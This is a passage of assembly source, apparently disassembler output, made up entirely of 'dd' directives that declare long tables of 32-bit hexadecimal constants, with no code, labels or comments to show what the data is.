		dd 65C2FDB9h, 809E3521h, 523182Dh, 0B1AA0511h, 51CA5960h
		dd 0A394DAB6h, 51DDC0E4h, 0A0F3F15h, 0B2A24AF9h, 5177488Fh
		dd 0D2DE58ECh, 0F2108554h, 9DC1FAF2h, 0ED04C0AFh, 611142CAh
		dd 88A5C1DBh, 24C84523h, 67AC0102h, 0DBFF3162h,	0A94A34Ah
		dd 0B81A6A0Dh, 0A2F8A9EBh, 983ECFA4h, 0FB565D66h, 40E20441h
		dd 1F3D2B12h, 0E785ABB2h, 3C3E5159h, 0F1830758h, 0CC36946Ah
		dd 25AF5300h, 818614DAh, 8813ED14h, 50801DA3h, 0C814846Dh
		dd 6C62DBB0h, 0BA1EBA0h, 11DD68D1h, 65326B54h, 4568B791h
		dd 0D10D0ACh, 49560286h, 672CCBACh, 7737020Ch, 83A73516h
		dd 267CAF37h, 0BC10846h, 5C67F926h, 447D4639h, 2CEC1830h
		dd 68BE5384h, 88726538h, 6A186BABh, 0A1A4CFBh, 3F38825Ch
		dd 0A4BAB822h, 0C24CBE1Dh, 7F149C44h, 68AD1114h, 18E5FC5h
		dd 4A550210h, 0C833EF4Bh, 598ED7E8h, 3B7417FBh,	0EDAA9C1Fh
		dd 322F0BCBh, 33B81BA1h, 52089590h, 2E463242h, 20FDA637h
		dd 0BFCBE0F4h, 4311626Ah, 0F07DBD0Dh, 36B32BE7h, 0C1D2310Ah
		dd 0F2B83541h, 8F8B3F1Fh, 0FE008F63h, 20041B90h, 0CCE3EE26h
		dd 0FC003EF0h, 437D00Bh, 204FAA1h, 6B080F4h, 0A4DD7F90h
		dd 0B11451A2h, 87D57978h
		dd 369F768Ah, 0D21A4F6h, 6A90C55h, 5D06465Dh, 4CF5404Ah
		dd 0B89B4B96h, 26EC115Ah, 8653C32Ah, 0E0E1551Ah, 0A9B191FEh
		dd 0B758380Dh, 0F10414E3h, 0CA641C26h, 0DFA550C2h, 0CA3A4F57h
		dd 7DD82150h, 3299DC24h, 0C597BD8Bh, 14EB7E5Ah,	2B33D3A8h
		dd 7D4CAEAh, 3EFA88BFh,	0FFCC8729h, 0E14962E9h,	57C31F9Bh
		dd 3E099DFCh, 17E46C7Ah, 55071107h, 0DD23F1Dh, 40969FB7h
		dd 7798A451h, 0A81407D9h, 383F463Ch, 2706AC77h,	149F9825h
		dd 19A9567Eh, 8718BB4h,	24EC4564h, 0EB4375F8h, 9B99A422h
		dd 0C97E0585h, 0C80A1A52h, 0C82231B4h, 23F8CDD4h, 81834993h
		dd 320B3E0Fh, 0A797AA67h, 4813383Ch, 0FDA1139Ch, 0F190065h
		dd 0F9D045E4h, 55AA224Ah, 0CD2A11DCh, 0A16D325h, 1FFC9858h
		dd 832B259Ch, 989129Fh,	757D3F12h, 0D8E7F59Dh, 82D10FA1h
		dd 8090ED08h, 296D040h,	745C0604h, 0CEC06962h, 57C5D00Ch
		dd 0EB10F2EBh, 5FF45320h, 1C40889Ah, 3D348EA1h,	1968FA27h
		dd 0D900C6D1h, 2CA70241h, 0F30839B7h, 5D5AC39h,	105BCB56h
		dd 8C0D3C9Dh, 5C480B32h, 682EC991h, 48CE833h, 0D1DAB370h
		dd 2A76D18h, 0ED221022h, 3190E141h, 0C6CF83Eh, 0BB0CC352h
		dd 4D38BD12h, 61B9948Bh, 956D2229h, 0FF415C99h,	32B355C1h
		dd 402829D8h, 2BDFF707h, 0A10FB34Dh, 194B656Bh,	0FC0C2ADh
		dd 0DA76A9B6h, 6DFECED1h, 0C95D51C2h, 705245B9h, 356A20CDh
		dd 19AD1CE1h, 134A7234h, 75ADAECEh, 0D0AC7A17h,	9914285Ch
		dd 15C5AD6Ch, 0B28240DEh, 0CF8D8E2h, 0B52D831Bh, 0DAC097BCh
		dd 24E30A5Eh, 0AF41C68Ah, 0E1445B1Ah, 5D8F96CCh, 0B7E88EB5h
		dd 49CAA273h, 121EDEF4h, 0A1833739h, 6ABA88C9h,	795CBD79h
		dd 36A0D4E4h, 0E2A0B810h, 0FC61918Fh, 0ED03E51Dh, 1C50A8A7h
		dd 9285515Ch, 53C3558Bh, 3628522Eh, 6A27F073h, 5AAF9C2Ah
		dd 98E74905h, 7EE27D85h, 0D0F57FFAh, 3AC5CBE1h,	667FC354h
		dd 73433946h, 79276150h, 85154356h, 93B965DEh, 14FF3663h
		dd 0F7581824h, 871442FAh, 5640560Fh, 45FE3DD8h,	0CEE2172Fh
		dd 0CCC2E9FBh, 0CA35E3A2h, 0D923454Eh, 0C1DE6EE8h, 5B0D70Ch
		dd 4B97CE11h, 0FCC510Fh, 4258C004h, 32015875h, 0F56538CCh
		dd 0B1BEC0C1h, 4977751Eh, 129244E0h, 46EDE3CAh,	0D65AF595h
		dd 0B4801F89h, 96C19833h, 0DD3C96A1h, 0ACA5CE0Fh, 2808A6E3h
		dd 0FAC76038h, 14371FAFh, 31802E9h, 14918C69h, 209CBE35h
		dd 0A573D359h, 37CAFBACh, 0C9CB9E8Dh, 873A4356h, 322E2A14h
		dd 0B830AD09h, 9D63F912h, 0E15A4F5Fh, 133F54A7h, 9CFD9824h
		dd 0B20AFC8Fh, 415FB218h, 7268ADAAh, 89045A68h,	0A9E1F852h
		dd 0ADE76D51h, 513B5854h, 7E5191F1h, 8133C121h,	2F92033Eh
		dd 2808ABh, 4A7094A0h, 2FB28571h, 3D49A225h, 2E896C5Fh
		dd 299C3CEAh, 475CC287h, 0C00C7B2h, 1F75C451h, 7B18FFAh
		dd 21859983h, 8A4FCF99h, 98C7FAE5h, 0C2E20613h,	94021A8h
		dd 0C2C24319h, 642AC9BAh, 8479542Bh, 10481707h,	7114F81Ah
		dd 8A04BD28h, 0E6401283h, 86288B05h, 0A94818D7h, 4510A263h
		dd 0B263042Dh, 261A060Eh, 5F64ABCAh, 40A2168Bh,	5268681Fh
		dd 33B58796h, 7F0F7BE1h, 523C146Eh, 361ADF19h, 684D2F82h
		dd 758DA27Dh, 144FEDEBh, 1BDDDE62h, 0ACC7E6F9h,	5D21099Bh
		dd 513A1A54h, 4F9C7898h, 0BAFC6445h, 54EBB428h,	32530C74h
		dd 0C87409Bh, 36F2AA35h, 0E3910446h, 75CB0813h,	0F84CA9DCh
		dd 0A4514D6h, 0A32B0E3Ch, 13080022h, 82280127h,	4502C69Ah
		dd 22AEE34Bh, 0FE1E0D41h, 60086AB1h, 95F8189Bh,	80AA6352h
		dd 62A915CDh, 0CF2D4D12h, 0FDF3D015h, 1586E8C5h, 9D609094h
		dd 5CDA98FAh, 1597A7C1h, 0DEC8A86Dh, 89CF83h, 9455A2AEh
		dd 0D45503E3h, 0E0CF0164h, 7D6CAAE6h, 0CCACE008h, 45D2C4FAh
		dd 0EC815504h, 70C91AF5h, 9A63F3E6h, 0C1A0C2E8h, 0A89C697h
		dd 80BEC10Eh, 2C7D47DAh, 6B865DCCh, 0AABD66A5h,	18DA60FFh
		dd 0D3082C26h, 0C240A2BAh, 0FCBA0400h, 0A7AD56A7h, 7B0D57B1h
		dd 6D5CA0F8h, 37031468h, 0B7482F10h, 0BBF80753h, 0B85EB19Eh
		dd 406F21A7h, 0F4C100EFh, 321E85AFh, 3C77458Ah,	645D31E8h
		dd 0C976E95Ah, 0B918742Ah, 0A91643Ah, 2F505753h, 0BE334E1Bh
		dd 46068A5Eh, 0B9DB2269h, 59567363h, 0CF67C17h,	2E920E7Bh
		dd 110E3C7Fh, 62161B40h, 595DCE27h, 28B58F8Fh, 5FF86941h
		dd 284406Ah, 658CA833h,	68AA2036h, 85E5964Bh, 55A39A9Ch
		dd 27C8D226h, 3ABBF9D5h, 8A62062Ch, 0C64EC4E6h,	91A76910h
		dd 1F0E6A55h, 396A498Eh, 0DC33BFA4h, 5730983Bh,	314AFD0Fh
		dd 95BD8002h, 810BE5EEh, 3EB8982Ah, 0F24E26F5h,	1A0C2247h
		dd 6A30D46Dh, 545CE58Ah, 254E4FA5h, 920718E4h, 2999842Fh
		dd 174891CDh, 0E9736A28h, 55B96BA8h, 2D5D7E3h, 834286A2h
		dd 624C70AAh, 0A9DBCAAh, 0F83F2A92h, 73D408C1h,	40B3D898h
		dd 102BE04Dh, 0D62BDE1Eh, 122E36A5h, 0AB3B0068h, 129C7A4Bh
		dd 0EFE1527Ah, 30320904h, 0BFE17486h, 0EC96A020h, 5B3E7403h
		dd 0E56C7D5Bh, 6FA17350h, 0BAA6D3ACh, 614101Ah,	6902B71Bh
		dd 19889F63h, 0F149610Eh, 0D53CC4AFh, 3B579DFEh, 0E8C885FAh
		dd 766DA830h, 5D34DFD5h, 3825FCFh, 6BCB7424h, 0CFE4FB6Dh
		dd 36029B80h, 0FFDCCDD2h, 0AE8A9FE6h, 0B0317F8h, 5FE3C7DAh
		dd 187A8265h, 0BA4588FFh, 0BF0B0920h, 0C568155Ch, 277EE606h
		dd 8A72247Ch, 38AA7F8Fh, 413F4A3Bh, 0E8F1694Ch,	0DAB05C59h
		dd 0C9CD577Dh, 790931BDh, 7AE1F543h, 0C7426937h, 0EB6A0F4Bh
		dd 0ED412257h, 44198D23h, 62857F14h, 49825794h,	78B873FFh
		dd 46A5E21h, 6CE88E22h,	0F16502ABh, 3F99616Dh, 5EB0496Ah
		dd 1972C868h, 0EA8A906Eh, 71378EA8h, 0A1EC7C3Dh, 1AA990A3h
		dd 73EFF97h, 2BB34CD7h,	0F9D72C24h, 0DA8E58BFh,	30992CA7h
		dd 0BA4D2B95h, 0F5BE27D9h, 411C3077h, 0DEB84B9h, 0A07FD632h
		dd 0B50796E2h, 0E861F575h, 89B63C35h, 0CE25B375h, 939FC18Dh
		dd 0B1384E84h, 905FB09Fh, 0E57B7F50h, 8FF2FA75h, 48F80D0h
		dd 0AE4525E2h, 55537D14h, 5B8BD5E8h, 6141319Dh,	86013B87h
		dd 6B08F1BDh, 53734FFFh, 5C295BABh, 3BF18BE2h, 20867DEAh
		dd 0AA2FB87Fh, 4E20FF3Fh, 10DEE002h, 810C066Ch,	0CB5D3AB3h
		dd 9164F409h, 7DD46A5Bh, 5348D301h, 7B263A65h, 0F3A088A1h
		dd 550E6480h, 0D309D861h, 1BADA691h, 8EE1946Dh,	303AD1AEh
		dd 28452CE8h, 5506FF21h, 19840085h, 5A07E4D1h, 8FCA0377h
		dd 59FF067Ch, 7418A87Dh, 0D8046B76h, 1EEFA6AEh,	46802449h
		dd 139919C2h, 74998715h, 33F24Dh, 0B311F273h, 8307B086h
		dd 0FC6C55F3h, 7317BE0Eh, 0E0FE1B64h, 738AE26h,	0B24133C2h
		dd 5DE2AE14h, 0D283CACh, 1C872DF9h, 2E860130h, 802C1A8h
		dd 170C8566h, 0D1690FEFh, 69902707h, 904AFFDBh,	7E227640h
		dd 7E1ECCEDh, 2EF518C8h, 0C4C2F61Bh, 850240A7h,	6B03B55Ch
		dd 0D2DED988h, 0EF43701Ah, 84488F4Eh, 0C0421FACh, 0E180A0AEh
		dd 0B6AC7B9Fh, 3C5BA4B0h, 0E912B522h, 0D6106A56h, 1F4304C9h
		dd 798C9EE4h, 0C092A0D9h, 9A995390h, 0D343506Bh, 2F491F35h
		dd 0AFB40283h, 0AD0656Dh, 0C41FCBE6h, 9207A8A1h, 37767402h
		dd 0FF8ADB88h, 64E9C5DFh, 0C183F45Eh, 76478DF8h, 0B6D57CDDh
		dd 2E420D0Bh, 958D871Ah, 140387A3h, 2BAA242h, 8C878Eh
		dd 0A9B7BCA2h, 7A3142A3h
		dd 0FE3810Dh, 0DD2AFFBh, 0A30049A3h, 0B4E19374h, 0E959A5A0h
		dd 0DACC0B62h, 0CCA60B5Dh, 76125E60h, 65D6E9A1h, 4B913BBh
		dd 0AB532143h, 8353E64Dh, 26512ED4h, 31AEE2BBh,	0E81C31AAh
		dd 758B5B5Ah, 7019F26Dh, 8D0DE02Fh, 0B384A178h,	266085E6h
		dd 1ACA8A4Fh, 59DCDE69h, 8DB987FBh, 9A6645ACh, 1FE820C3h
		dd 0F43ED204h, 543D2A56h, 843CC897h, 843BC897h,	0C8C6C895h
		dd 3B1BC933h, 8AA82AACh, 0C1B09E70h, 3154F747h,	8542E977h
		dd 0A6F45F3Ah, 0AF2D338Bh, 2EC31AAh, 910D052Eh,	4C19AF41h
		dd 6E024E12h, 931FE1D7h, 0A3E97E07h, 903C725Dh,	0AFDAEB01h
		dd 5A6EA9A0h, 39A182E9h, 40A03948h, 842DF37h, 29F01401h
		dd 61190D12h, 0E21C4417h, 1AE6C7A2h, 0BA598CAh,	36BB7ADEh
		dd 29B198A6h, 99C5ECDCh, 0D7038671h, 1C931730h,	9518EBBh
		dd 0F26CC106h, 0DE8B9997h, 6BF8DF73h, 18E7ADD2h, 808D686Bh
		dd 4DA1FAEDh, 64B07BAh,	9417299Eh, 0AA380516h, 0C0FD582Ah
		dd 4DA126DEh, 457A7DC4h, 64DA0DC3h, 6E60F832h, 0C94440D0h
		dd 5B96AA46h, 0C06FE527h, 931D0060h, 49C92029h,	0ABC1732Ah
		dd 357549EAh, 5909195h,	6299750Bh, 62864959h, 9749E0E1h
		dd 6F47563Ah, 0D6863C3Fh, 8EEFE2Eh, 905677EDh, 0FE8D94A1h
		dd 0AA65322h, 0D70D548Bh, 0C620C113h, 0D3FFC504h, 0E88D2015h
		dd 17070558h, 0DF19576Fh, 749713D9h, 5B9C42F5h,	0EDBF2FD4h
		dd 0B4AA2902h, 0B87E874Dh, 0F0FA8663h, 0CA6522AEh, 47A164E3h
		dd 0EF1503A0h, 0B0299232h, 0B8215684h, 0DB5DB5B0h, 0A6B1866Bh
		dd 101311ACh, 63B49EB8h, 8A3559CDh, 2DA10BA2h, 0A3E069BAh
		dd 3CC22DC5h, 0C7EC28A0h, 8A21F3C1h, 21B4371Dh,	6A036C9Ch
		dd 1EBA4949h, 6EA34C64h, 0F727062Eh, 0DFDDD180h, 57D91C5Eh
		dd 3AF35818h, 6185A11Ah, 41404B4Eh, 19C5537Ch, 4F038407h
		dd 2DCFCDFDh, 7E686FA1h, 46D34292h, 0A1AD90FEh,	0E4EA9F89h
		dd 3C847DA0h, 0C3CDF041h, 603F048Ch, 0D4767587h, 19695672h
		dd 92FE74Dh, 26C6F4E4h,	51EBD035h, 5AEE06FAh, 0BC6AE476h
		dd 0D0444F83h, 8A20EBABh, 1097C15h, 42998AAAh, 0F4CCACBAh
		dd 0FA7DB33h, 799F62FBh, 0E8EA1E0Bh, 196D9A7h, 3184124Ch
		dd 37D8AF80h, 8400517Fh, 0CBD8C428h, 0A163C0h, 81040D73h
		dd 3F7E80A9h, 8BBED6F1h, 1BC0E6ADh, 988F800Dh, 3574C6FEh
		dd 42B13A9Ch, 503A8D4Eh, 3184F7AFh, 12C02A61h, 0EC55478Ah
		dd 89E65F7Ch, 9E1196h, 0B75807D3h, 39514EE5h, 54545B26h
		dd 0A5DCA1B5h, 0E842D8E0h, 1B4FD626h, 0A4724CDEh, 7EAF5C85h
		dd 0D1DDE052h, 0B2FE9DC0h, 0D0C684F1h, 0CD4D9E8Ah, 8B2F605Ah
		dd 87C4A49Ch, 4E4A9DF8h, 60821208h, 0C5B958A0h,	8B4E5478h
		dd 48131306h, 62434A1Ch, 20CD5E39h, 11268246h, 0B1E981B2h
		dd 2A02660Fh, 8D9205D2h, 0DFB19406h, 0E08D0D0Fh, 9311F87Ah
		dd 642E43D9h, 0C0B20055h, 0E903BA40h, 9E8C0533h, 0D7F8E820h
		dd 0A65A4EFAh, 0FBB4A5F1h, 8896E70Eh, 6AD34474h, 58D1ED31h
		dd 61D2833h, 5D42DC57h,	0F9CC8BFCh, 2CCCE3B6h, 76EAC521h
		dd 0FF542911h, 19A1835Fh, 0C785840Bh, 0ABDA5317h, 238DF0EEh
		dd 0B12821C4h, 0FA6BDAB7h, 5FE07B9Fh, 0B4D4A0F2h, 199AC0D4h
		dd 0A757517Bh, 0D7E09542h, 29F6BFEh, 22A6F833h,	9F699CBh
		dd 9321605Ch, 1D4E83F0h, 31B8C622h, 95F1F5F3h, 0DC4F50EAh
		dd 0C4B5A8C3h, 2E941133h, 0EAC59C77h, 1399C5C5h, 8A6F3B0h
		dd 9313818Ah, 3940771Fh, 0A9368D01h, 831AF5CCh,	0E75D6049h
		dd 0B67F253Bh, 0E3D77E92h, 0D1240E8Fh, 41451F6Eh, 386788B3h
		dd 84772701h, 58631082h, 0EC1DD520h, 0F6F984BEh, 0A24B18E3h
		dd 652C1127h, 301173B9h, 5296DA92h, 5A861865h, 59B8FAE2h
		dd 11B80289h, 0F6741B8h, 175D5A4Ah, 0CA761113h,	0F332E04Ah
		dd 21A70030h, 0F1C257FEh, 6BCA96AAh, 6D0F732Ah,	455A3A4Ah
		dd 48A5A9FCh, 898C3601h, 0ADCF3790h, 1DA0A18h, 4F541751h
		dd 8038BC3Bh, 8C410A89h, 0F5ECB05Ah, 2C6C9BC1h,	68FC5D2Ah
		dd 4DBC17E5h, 0A0BD50C3h, 4830198Dh, 5ED7417Ah,	428CBEC5h
		dd 0C282A2Eh, 0D63FAAA3h, 8BA41575h, 0C6DC3904h, 5EC76955h
		dd 86701912h, 0BD0C969h, 0F5C44B33h, 798EA9C1h,	2375CD53h
		dd 9B197123h, 90AF4186h, 209B5953h, 42409156h, 8BA4DD6h
		dd 17569B6Bh, 0CA07F0BEh, 0E237809Ah, 1E130598h, 0C1E718A8h
		dd 0A6E380D2h, 3A9866AEh, 4B7418CEh, 0E891AE83h, 3D98AE68h
		dd 0AA32B8AAh, 8DF50BB2h, 0BF45C6AEh, 4DBF0531h, 0D8995521h
		dd 0D04808CAh, 60211986h, 0D494E021h, 84B19B4Bh, 55B89218h
		dd 9DB22B1Ah, 0FC7C6AF8h, 5E358269h, 3B33C2A7h,	33080F7Ch
		dd 93648AE0h, 0FBFC2B87h, 68F12CD0h, 90221C04h,	28080016h
		dd 4B024C11h, 1AE89504h, 26EB25C3h, 0C1BC76A5h,	2782D07Ah
		dd 8466AFA5h, 63F5BD45h, 83F35D8Fh, 79722B27h, 8AB7C3C0h
		dd 707EFB27h, 0B0B27874h, 57482BFAh, 0AAD54EF9h, 0EDCE94ACh
		dd 602B024Ch, 17A51490h, 3270CC6h, 0F09C7433h, 0D13D1095h
		dd 869F7E85h, 38FA0B39h, 7EFB3D50h, 0B27E5DFh, 0A108A1A4h
		dd 2CA8C017h, 58841944h, 0D3A10AD5h, 11A80DA3h,	0A9E352B5h
		dd 0C47E8992h, 0AA904264h, 2E571E92h, 2E02A03h,	0AE0A29A3h
		dd 8282F8E1h, 0F8C80F2Bh, 2B41FA6Dh, 0DE44E792h, 52824DB4h
		dd 820EFC4h, 224289F4h,	680221BCh, 95C10056h, 7B1E3584h
		dd 7A57415Bh, 37B44541h, 6211050Fh, 41ED4454h, 1C6195C1h
		dd 80EFC5A1h, 780912EDh, 0D8252004h, 40966E12h,	7050A84Bh
		dd 304D6125h, 0B166D2F5h, 4FE0F06Dh, 22C858F5h,	570508C2h
		dd 0DCD24712h, 45E075Ch, 4C0ED34Ch, 4C24828Ah, 88161C4Dh
		dd 0A0185A82h, 47C0D90Ch, 286DEE00h, 269892B8h,	570B9D3h
		dd 7DCA0614h, 635750DBh, 0EDF745C1h, 185C0505h,	3B3CE11Fh
		dd 2254A680h, 8957011Ah, 2577C4AAh, 141512B2h, 4CC8495Ch
		dd 6004D192h, 6F0A00CEh, 5057509h, 20E79557h, 0F97576A6h
		dd 0A444844Eh, 450D6ABBh, 0EBE15F0Fh, 0E9B1FEEEh, 0E31824B2h
		dd 9509BD8Bh, 0DD6098AFh, 0C9DE3BF9h, 0AE689888h, 8D3AC9D6h
		dd 2074150Ah, 0CC3AE1DDh, 171FBAFh, 0DEE00AC4h,	84B97C1Fh
		dd 0EC582AD9h, 5846DCA2h, 66EBB2AFh, 0C17E14C5h, 9D1F279Ch
		dd 0B8E30AD0h, 0D13AAB2Ah, 0B330361Bh, 0DC833738h, 43162A40h
		dd 0C95DC71Ah, 40D77AEBh, 41892B30h, 44614AC5h,	434CCB40h
		dd 6B915C03h, 8B2A242Fh, 8CE5382h, 0C463D58Eh, 4B575E3Eh
		dd 2174311Ah, 73F22562h, 0E4D2612Dh, 0ABD98A9Bh, 282828C4h
		dd 7C9C99D2h, 53725144h, 3CFAD251h, 0CC278CABh,	0B8BC149Ah
		dd 0F6FC2B26h, 0CE50D22h, 0E9DC0B27h, 0B45153CAh, 0A418B916h
		dd 93863CA9h, 39C03E82h, 1DFFC22Dh, 558B5641h, 25388084h
		dd 8E95F978h, 0C4426C04h, 14819CF0h, 1A09D78Dh,	48450BCFh
		dd 5E763B0Bh, 5B56CBDFh, 884A7F99h, 504C21EFh, 16084397h
		dd 0CBD73FFDh, 0C5950865h, 0E72E5E68h, 2B94CA04h, 47459953h
		dd 342A0AB3h, 4EF86028h, 0D2A9B366h, 0E572D74Eh, 837D9555h
		dd 0ACF5B859h, 0DE2DC9CAh, 1210D74Eh, 39ED567Ah, 0F6911E58h
		dd 44B3FAh, 8BC146ADh, 6383F690h, 78DE950Bh, 6D1D0149h
		dd 908DB246h, 939C85D6h, 676CE160h, 525AF952h, 0D5F2AA33h
		dd 0F6603914h, 7C6D5E6Dh, 7671C71h, 0CDCEFEE0h,	69F7C7Ah
		dd 0C4691EC8h, 49537B97h
		dd 0D237270Ah, 0A61A31E5h, 0BB826802h, 0EE96D954h, 51327027h
		dd 74119C29h, 0D454F3AEh, 384A4656h, 24E2C5A6h,	0AF123318h
		dd 962AC095h, 0D14C6668h, 0E6E28B10h, 0D7E90085h, 8AC5BAD1h
		dd 40379566h, 9E9CFA67h, 983BACAEh, 24E6EC97h, 0E50D6988h
		dd 0C28CFA56h, 0B9895E61h, 0EAB4EAA7h, 0E62FC3D7h, 0E31B7A36h
		dd 0ACDAB60Eh, 5BB81DCDh, 20CB3E80h, 0D3BEF630h, 4410CE02h
		dd 588518D2h, 147C9462h, 73A6667Bh, 7EBBD1Ah, 8156627Ah
		dd 0F08AA1F6h, 0F4EE5E7Ah, 8B0B8D6h, 2121488h, 0A84D14F2h
		dd 0A88B4C07h, 52091E5Fh, 0D614BFh, 97FB3CEEh, 489622B2h
		dd 8D8BD501h, 0E0516F2Ah, 0A44B44CCh, 0D1EA365Dh, 5D28E4F6h
		dd 68DA8DD0h, 0ECA40E92h, 8346F299h, 0E08BA6D9h, 0C7415893h
		dd 2EA54391h, 0F43462A7h, 0EDD48C4Bh, 645D0638h, 2339F1A2h
		dd 658B910Ah, 94A2845Dh, 0FE3FA98Ch, 0E2D58EC3h, 4FD47B63h
		dd 0CE9B9663h, 8B659B93h, 0B0B61EF9h, 14466CE2h, 1353479Dh
		dd 3CD195h, 9D0F6CCCh, 80B8BF3Bh, 532A6D5Dh, 389CC2F4h
		dd 86408AFDh, 0B95850Eh, 52BDC54Ch, 0B9BC6B54h,	0D3B7583h
		dd 4E3427AEh, 0C1A9E35Fh, 0E9D3C068h, 86B4F503h, 0A089211Ah
		dd 2656467h, 9240758Fh,	30325999h, 0D51ACFAEh, 99F4A416h
		dd 0C5EB6BE8h, 56CB722h, 5833FA1h, 174A4C32h, 0BD38E0C8h
		dd 55AB00FCh, 89AD7CFh,	7C5AFD5Eh, 1FB54255h, 678CD91h
		dd 4168FFE5h, 0E414F55h, 0AA102230h, 0EC2DD50Ah, 4CC4DB90h
		dd 41E9D02Ch, 0A5CE3F68h, 8F0EA89Ch, 0B780AFB6h, 1F2DCD27h
		dd 0CA269EB5h, 0F106FE8Ch, 4C717D53h, 8836C5D4h, 8BC9039h
		dd 3B375EA8h, 0ACE0F730h, 70457884h, 0FF00C6AEh, 717B4140h
		dd 0BF1CB240h, 0B5E6E960h, 80A3C8A2h, 8DE6303Fh, 0A3C80860h
		dd 1DA314B5h, 47BFA551h, 0D04BC9A0h, 295BA378h,	0D2A22896h
		dd 4D400B43h, 10F8FC2Fh, 2FD7067Eh, 0BA7E7AE0h,	69E55920h
		dd 0E4ADB150h, 0B0AD84BCh, 7D7CC8ACh, 15B0DCACh, 0C85A58DFh
		dd 901594A0h, 0D7101921h, 7F8B8703h, 6A16C1D3h,	9780DA14h
		dd 20530930h, 68C8810h,	0AE1A3E4Dh, 6E412713h, 0B699A4FCh
		dd 983A3774h, 4896FD7h,	8E1877CBh, 9A275A4Ah, 0C52CF356h
		dd 863728D4h, 30405C5Eh, 2ABBCA75h, 0D28E8D52h,	4B8C3A05h
		dd 425AF734h, 0F5849B42h, 1054985Ah, 0F177A73Eh, 1908E58Ah
		dd 6F0F0C54h, 65026440h, 0AAC33C06h, 0ED456909h, 6DA3008Fh
		dd 0B04F5441h, 82290441h, 0D81309CFh, 0C8AB2907h, 83FCEE33h
		dd 8A9D6E27h, 5806A9B0h, 6B73D4C8h, 0CB190521h,	0D0406160h
		dd 315E9BADh, 1175640Ch, 1C62BB93h, 0ECFB6769h,	825160A1h
		dd 2DE7749h, 0C2CA533Eh, 8217624h, 4A24F7ABh, 0C811168Eh
		dd 8FA126FAh, 6CB4A0Eh,	0EFC4B9D6h, 21E6FCFFh, 415A81DFh
		dd 9FC6F5CDh, 48C14A0Fh, 0C08C0452h, 777A9D11h,	8F1062F1h
		dd 0E4B2E260h, 0B1C46CA0h, 662AC202h, 6F80193Eh, 2E97CE6Bh
		dd 0D46C807Ch, 583C7668h, 0A69B30B4h, 835AADFFh, 618BF8FAh
		dd 51505914h, 0B8054120h, 5E101EB4h, 95111BF4h,	0E4EE4828h
		dd 6077820Bh, 3409D170h, 0A2F86842h, 908308F5h,	48B09E45h
		dd 88F1A340h, 41BAE893h, 808058D3h, 958D820Bh, 215CAF9Ah
		dd 0A0ED55A9h, 1C559006h, 9A401D20h, 73FF56D3h,	367ECB00h
		dd 72B305A4h, 0F8172B67h, 0A461217h, 1001AC41h,	447D0052h
		dd 75B991C0h, 6D7E6392h, 9977B09Ch, 76CA6338h, 0A2654FCCh
		dd 3C13D1D3h, 54877BEEh, 2BDCB500h, 0C6EE378h, 9CC68CDCh
		dd 0C5A09B0h, 31A82E95h, 38DAA4B0h, 0A5425D68h,	890137F5h
		dd 0ED332177h, 25D90360h, 93FFACBDh, 2F96360Bh,	553834D8h
		dd 0B161050Eh, 57420010h, 5FB0F01Ch, 0F5B89500h, 6C5C2146h
		dd 0AD5ED05h, 0EB21F34h, 58983876h, 32E01A15h, 0BDA32438h
		dd 483A7C61h, 4EC13B05h, 0FF750DAFh, 64197A80h,	7037898Ch
		dd 0FD7154F8h, 2CDEE387h, 3C138198h, 1BB4D2CCh,	7489C833h
		dd 0BE05EFF7h, 18C82AB9h, 1482180h, 9F10411Fh, 0B72DE60Eh
		dd 0AEDBFFA8h, 0E08C4224h, 0DEB890A2h, 25518528h, 0FA28AE3Ch
		dd 8155DF0Ch, 2A24EAC6h, 0C912A954h, 0A2AEAD1Dh, 0DFF1E108h
		dd 25222B58h, 0DE56642Dh, 0A499EA9Dh, 0DC1815B2h, 0C4AEC64Bh
		dd 119AF03Fh, 12493B1h,	0CAED1AFDh, 9C2A10DFh, 0B3152EC6h
		dd 339652B9h, 0D189085Bh, 2A9A0EF6h, 8C2875E6h,	8946422Ah
		dd 0C9183ABAh, 0FEBDE5E2h, 1EEE0D28h, 3BE48593h, 8A773673h
		dd 8251616Ah, 0B7011DCAh, 99A8512Bh, 0E63E4574h, 0EE123CCAh
		dd 0D118721Ch, 6291AA72h, 8A2F7444h, 5742000Ch,	7B13DDE6h
		dd 38594D8Ch, 0C53002DCh, 3FFB4A13h, 3231165h, 18298C70h
		dd 586084Ah, 9E2D65D6h,	1A143C8Ah, 9F70D3F7h, 1ADBBA4Ah
		dd 0DEA20D1Dh, 7C16ADC5h, 8A307F12h, 21024619h,	650E1EF9h
		dd 0A1F4069Eh, 0C1C8A1FDh, 67692368h, 0D7D7E82Eh, 5F35F4C2h
		dd 515ACA92h, 186812A5h, 9B9476C6h, 0F5154115h,	25745F97h
		dd 6D4BB444h, 0A90FBDABh, 9C523A25h, 35A256DBh,	0A497160Ch
		dd 4EAFCBA7h, 61695A75h, 14FC8D9Eh, 0BBFA8B16h,	0A9AA8EEDh
		dd 59C4EB20h, 18310A19h, 6C7CC1DAh, 9E82B465h, 1883459h
		dd 411E0D58h, 0FAB8C006h, 0E2755749h, 29041D93h, 0A190E03Ch
		dd 0AD4DC0D3h, 0DD01288Ah, 94F41C0Ah, 2B23FB82h, 9D7E0BE3h
		dd 9A5029C4h, 2BF495E1h, 1B331F23h, 0B9EE6498h,	181B29E7h
		dd 6186431h, 0AC858930h, 0A8CF6308h, 0F28DE5AAh, 0C542C8D9h
		dd 424D9E1Fh, 0A09C7517h, 2153CB54h, 1BE482BCh,	0FC28BCBh
		dd 5A35EF8Fh, 133529BDh, 0F404303Bh, 0B3B3F22Ah, 3C6A6208h
		dd 3A347AE5h, 1F8500F0h, 650C00Eh, 109626Fh, 24C59211h
		dd 0DFE929C4h, 6C0F706Ah, 94A70D0Ch, 9A73042Bh,	3FE50E9Dh
		dd 0D4087DE7h, 202EEA8Ah, 6B0E2ADFh, 0ED619C63h, 0BE143124h
		dd 204A7C75h, 51BDFC5Fh, 2151B44Eh, 501D7526h, 0D866883Eh
		dd 168029B8h, 0AC41D588h, 1B90E0E0h, 0A4C8A483h, 83186211h
		dd 428CF3B8h, 11C002B2h, 816242E9h, 0B51AF098h,	0EABF72Eh
		dd 0D706733Dh, 5AA9E69Bh, 5FFDC581h, 0B413BB58h, 0BEAFADAh
		dd 51C54217h, 0E34AAC89h, 45D640DEh, 1155958h, 0B35016D0h
		dd 47F0982Eh, 535693C5h, 0FB5F29C6h, 356BCD1h, 3998DA51h
		dd 0C189AED8h, 986F9220h, 71D08866h, 3151A91Fh,	15E646FAh
		dd 945F381Ch, 6557282h,	337C050Fh, 0FC6269DAh, 1535C9B4h
